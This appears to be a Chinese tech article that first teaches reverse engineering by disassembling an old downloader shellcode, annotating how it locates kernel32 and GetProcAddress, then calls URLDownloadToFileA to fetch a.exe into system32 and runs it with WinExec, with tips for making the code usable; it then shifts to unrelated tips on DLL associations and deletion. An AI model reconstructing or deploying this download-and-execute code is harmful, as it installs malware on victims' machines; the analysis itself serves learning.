时间:2024-12-22 04:48
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。
1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD750215Apopedx;函数返回的地址保存到edx中
4AD7502264:A130000000moveax,dwordptrfs:[30];取peb
4AD750288B400Cmoveax,dwordptr[eax+C];peb_link
4AD7502B8B701Cmovesi,dwordptr[eax+1C];初始化列表到esi
4AD7502EADlodsdwordptr[esi];[esi]->eax+8的位置即kernel32.dll的地址
4AD7502F8B4008moveax,dwordptr[eax+8];eax=kernel32.dll的地址
4AD750328BD8movebx,eax;ebx=kernel32.dll的基址
4AD750348B733Cmovesi,dwordptr[ebx+3C];esi=pe头偏移
4AD750378B741E78movesi,dwordptr[esi+ebx+78];esi为kernel32.dll导出表的偏移
4AD7503B03F3addesi,ebx;esi=kernel32.dll导出表的虚拟地址
4AD7503D8B7E20movedi,dwordptr[esi+20];edi=ent的偏移地址
4AD7504003FBaddedi,ebx;edi=ent的虚拟地址
4AD750428B4E14movecx,dwordptr[esi+14];ecx=kernel32.dll导出地址的个数
4AD7504533EDxorebp,ebp;ebp=0
4AD7504756pushesi;保存导出表虚拟地址
4AD7504857pushedi;保存ent虚拟地址
4AD7504951pushecx;保存计数
4AD7504A8B3Fmovedi,dwordptr[edi]
4AD7504C03FBaddedi,ebx;定位ent中的函数名
4AD7504E8BF2movesi,edx;esi为要查询的函数GetProcAddress即该call的下一个地址是数据
4AD750506A0Epush0E;0xe0是GetProcAddress函数的字符个数
4AD7505259popecx;设置循环次数为0xe
4AD75053F3:A6repecmpsbyteptres:[edi],byteptr[esi];ecx!=0&&zf=1ecx=ecx-1cmps判断GetProcAddress
4AD750557408jeshort4AD7505F;如果ENT中的函数名为GetProcAddress跳走
4AD7505759popecx;不相等则将导出地址数出栈
4AD750585Fpopedi;ent虚拟地址出栈
4AD7505983C704addedi,4;edi地址递增4字节因为ENT的元素大小为4字节
4AD7505C45incebp;ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D^E2E9loopdshort4AD75048;循环查询
4AD7505F59popecx
4AD750605Fpopedi
4AD750615Epopesi
4AD750628BCDmovecx,ebp;计数保存于ecx
4AD750648B4624moveax,dwordptr[esi+24];esi+0x24Ordinal序号表偏移地址
4AD7506703C3addeax,ebx;ordinal序号表的虚拟地址
4AD75069D1E1shlecx,1;ecx逻辑增加2倍因为ordinal序号是WOR类型下面是通过add来求ordinal所以这里必须扩大2倍
4AD7506B03C1addeax,ecx
4AD7506D33C9xorecx,ecx;ecx=0
4AD7506F66:8B08movcx,wordptr[eax];保存取出的ordinal序号
4AD750728B461Cmoveax,dwordptr[esi+1C];eax为kenrnel32.dll的EAT的偏移地址
4AD75075>03C3addeax,ebx;eax=kernel32.dll的eat虚拟地址
4AD75077C1E102shlecx,2;同上,扩大4倍因为eat中元素为DWORD值
4AD7507A03C1addeax,ecx
4AD7507C8B00moveax,dwordptr[eax];eax即为GetProcAddress函数的地址相对虚拟地址,EAT中保存的RVA
4AD7507E03C3addeax,ebx;与基址相加求得GetProcAddress函数的虚拟地址
4AD750808BFAmovedi,edx;GetProcAddress字符到edi
4AD750828BF7movesi,edi;esi保存GetProcAddress地址
4AD7508483C60Eaddesi,0E;esi指向GetProcAddress字符串的末地址
4AD750878BD0movedx,eax;edx为GetProcAddress的地址
4AD750896A04push4
4AD7508B59popecx;ecx=4
有经验的程序员,通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4AD7508CE850000000call4AD750E1;设置IAT得到4个函数的地址
4AD7509183C60Daddesi,0D;从这里开始实现ShellCode的真正功能
4AD7509452pushedx
4AD7509556pushesi;urlmon
4AD75096FF57FCcalldwordptr[edi-4];调用LoadLibrarA来加载urlmon.dll
4AD750995Apopedx;edx=GetProcAddress的地址
4AD7509A8BD8movebx,eax
4AD7509C6A01push1
4AD7509E59popecx
4AD7509FE83D000000call4AD750E1;再次设置IAT得到URLDownLoadToFileA
4AD750A483C613addesi,13;esi指向URLDownLoadToFileA的末地址
4AD750A756pushesi
4AD750A846incesi
4AD750A9803E80cmpbyteptr[esi],80;判断esi是否为0x80这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC^75FAjnzshort4AD750A8;跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE803680xorbyteptr[esi],80
4AD750B15Epopesi
4AD750B283EC20subesp,20;开辟32byte栈空间
4AD750B5>8BDCmovebx,esp;ebx为栈区的指针
4AD750B76A20push20
4AD750B953pushebx
4AD750BAFF57ECcalldwordptr[edi-14];调用GetSystemDirectoryA得到系统目录
4AD750BDC704035C612E65movdwordptr[ebx+eax],652E615C;ebx+0x13系统路径占0x13个字节
4AD750C4C744030478650000movdwordptr[ebx+eax+4],6578;拼接下载后的文件路径%systemroot%\system32\a.exe
4AD750CC33C0xoreax,eax
4AD750CE50pusheax
4AD750CF50pusheax
4AD750D053pushebx
4AD750D156pushesi
4AD750D250pusheax
4AD750D3>FF57FCcalldwordptr[edi-4];URLDownLoadToFile下载文件为a.exe
4AD750D68BDCmovebx,esp
4AD750D850pusheax
4AD750D953pushebx
4AD750DAFF57F0calldwordptr[edi-10];WinExec执行代码
4AD750DD50pusheax
4AD750DEFF57F4calldwordptr[edi-C];ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例,相信应该能理解一个大致的流程啦。
解决方法:
DLL格式文件指的是应用程序拓展,一般被应用程序调用。DLL格式文件的默认打开方式可以通过如下方法改回:
1、用windows徽标键+R,输入regedit。回车键确认打开注册表。
2、找到键值:计算机\HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\
currentversion\Explorer\FileExts\.dll会发现有openwithlist和 openwithprogids
有其他的文件夹都删除掉。然后分别打开openwithlist和openwithprogids,分别把其中除默认键值之外的按delete删除。删除UserChoice。
强制删除.dll文件的方法包括使用命令行工具、第三方软件或手动删除。
首先,可以使用命令行工具来强制删除.dll文件。在Windows系统中,打开命令提示符或PowerShell窗口,使用“del”命令来删除指定的.dll文件。例如,要删除名为“example.dll”的文件,可以输入以下命令:del/F/Q/A"example.dll"。其中,/F参数表示强制删除只读文件,/Q参数表示不提示确认删除,/A参数表示删除指定属性的文件。
其次,可以使用第三方软件来强制删除.dll文件。有一些专门的文件删除工具,如Unlocker、Total Commander等,可以帮助用户强制删除被占用或无法删除的.dll文件。这些软件通过解除文件占用、解锁文件等方式,实现强制删除的目的。用户可以在搜索引擎或软件官网搜索并下载这些软件,然后按照软件说明进行操作即可。
最后,可以手动删除.dll文件。在一些情况下,.dll文件可能没有被占用或无法删除,这时可以直接手动删除。用户可以打开文件所在的文件夹,找到要删除的.dll文件,按下Shift+Delete键即可永久删除。需要注意的是,手动删除.dll文件可能会影响相关程序的正常运行,因此在删除前需要确认该.dll文件是否被其他程序所依赖。
综上所述,强制删除.dll文件可以通过命令行工具、第三方软件或手动删除的方式实现。不同的方法适用于不同的情况和需求,用户可以根据实际情况选择适合自己的方法。但是需要注意的是,在强制删除.dll文件前,需要备份重要数据或确认该文件的来源和安全性,以免造成不必要的损失或风险。
解决方法一:
1、按下“Win+ R”快捷键打开运行窗口,输入“msconfig”并点击确定进入系统配置。
2、进入系统配置后,切换到“启动”选项卡,把加载项可疑 xx.dll的勾选状态取消,点击“全部启用”,然后重启电脑。
解决方法二:
1、按下“Win+ R”快捷键打开运行窗口,输入“regedit”并点击确定打开注册表;
出现该问题有几种原因:
病毒:检查电脑是否存在病毒,升级杀毒软件或下载专杀工具,全盘杀毒。
系统:系统文件损坏或丢失,盗版系统或Ghost版本系统,很容易出现该问题。建议:使用完整版或正版系统。
软件:安装的软件与系统或其它软件发生冲突,找到发生冲突的软件,卸载它。如果更新下载补丁不是该软件的错误补丁,也会引起软件异常,解决办法:卸载该软件,重新下载重新安装试试。顺便检查开机启动项,把没必要启动的启动项禁止开机启动。